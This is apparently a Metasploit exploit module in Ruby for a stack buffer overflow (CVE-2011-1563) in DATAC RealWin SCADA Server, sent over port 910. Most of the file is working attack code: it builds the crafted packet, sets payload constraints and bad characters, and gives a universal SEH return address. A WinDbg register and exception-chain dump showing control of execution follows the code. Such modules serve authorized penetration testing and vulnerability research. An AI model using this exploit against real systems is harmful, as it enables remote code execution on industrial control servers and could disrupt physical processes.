##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow',
        'Description' => %q{
          This module exploits a vulnerability found in DATAC Control International RealWin
          SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE
          packet via port 910, RealWin will try to create a file (which would be saved to
          C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user-
          supplied filename with an inline memcpy routine without proper bounds checking, which
          results a stack-based buffer overflow, allowing arbitrary remote code execution.

          Tested version: 2.0 (Build 6.1.8.10)
        },
        'Author' => [ 'Luigi Auriemma', 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-1563'],
          [ 'OSVDB', '72826'],
          [ 'BID', '46937'],
          [ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-110-01']
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 450,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-03-21',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(910)])
  end

  def exploit
    connect

    data = [0x67542310].pack('V')
    data << [0x00000824].pack('V')
    data << [0x00100001].pack('V')
    data << [0x00000001].pack('V') # Packet type
    data << [0x00060000].pack('V')
    data << [0x0000ffff].pack('V')
    data << rand_text_alpha_upper(221)
    data << generate_seh_payload(target.ret)
    data << rand_text_alpha_upper(17706 - payload.encoded.length)
    data << [0x451c3500].pack('V')
    data << [0x00000154].pack('V')
    data << [0x00020040].pack('V')

    print_status("Trying target #{target.name}...")
    sock.put(data)
    select(nil, nil, nil, 0.5)

    handler
    disconnect
  end
end

=begin
0:022> r
eax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffd
eip=0042702f esp=0587f738 ebp=011fba04 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
RealWinDemo+0x2702f:
0042702f f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:022> !exchain
0587f748: RealWinDemo+e0b78 (004e0b78)
0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21)
Invalid exception stack at 49a206eb
0:022> u 4002da21
FlexMLang!GetFlexMLangIResourceBrowser+0x2b991:
4002da21 5e              pop     esi
4002da22 5b              pop     ebx
4002da23 c3              ret
=end